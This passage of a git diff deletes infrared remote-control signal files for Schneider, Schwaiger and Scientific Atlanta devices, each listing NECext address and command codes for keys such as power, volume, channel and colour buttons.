NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 16 00 00 00 -# -name: vidarchive -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 17 00 00 00 -# -name: center -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: lastprog -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: tvmenu -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 20 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 21 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 22 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 23 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 24 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 25 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 26 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 27 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 28 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 30 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 31 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 32 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 33 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 34 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 35 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 36 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 37 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 38 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 39 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 3A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir deleted file mode 100644 index ba70c9d15..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir deleted file mode 100644 index 4c3f14fbe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 02 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 03 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 06 00 00 00 -# -name: tuning+ -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 07 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 0B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 0F 00 00 00 -# -name: slow+ -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 13 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 16 00 00 00 -# -name: tuning- -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 1B 00 00 00 -# -name: slow- -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 1F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 40 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 42 00 00 00 -# -name: disp -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 43 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 44 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 46 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 47 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 48 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 4A 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 4B 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 4C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 4D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 4E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 50 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 51 00 00 00 -# -name: ent -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 52 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 53 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 54 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 55 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 56 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 57 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 58 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 59 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 5A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 5B 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 5C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 5D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 5E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 9A 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir deleted file mode 100644 index 644a2e592..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0A 00 00 00 -# -name: vt -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0B 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0C 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 0F 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 10 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 11 00 00 00 -# -name: exp -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 14 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 17 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 18 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 19 00 00 00 -# -name: mix -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1A 00 00 00 -# -name: reveal -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0B 0B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir deleted file mode 100644 index 57e2d5b83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0E 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 21 00 00 00 -# -name: jump -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 22 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 29 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 37 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3C 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 48 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5C 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5D 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5E 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 5F 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 72 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 73 00 00 00 -# -name: tvtv -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 74 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 75 00 00 00 -# -name: live -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir deleted file mode 100644 index 77299ddb0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 72 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 73 00 00 00 -# -name: TVTV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 75 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir deleted file mode 100644 index 2482088bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: M/P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: TV/RAD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: I/O -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir deleted file mode 100644 index 228ac3a05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed 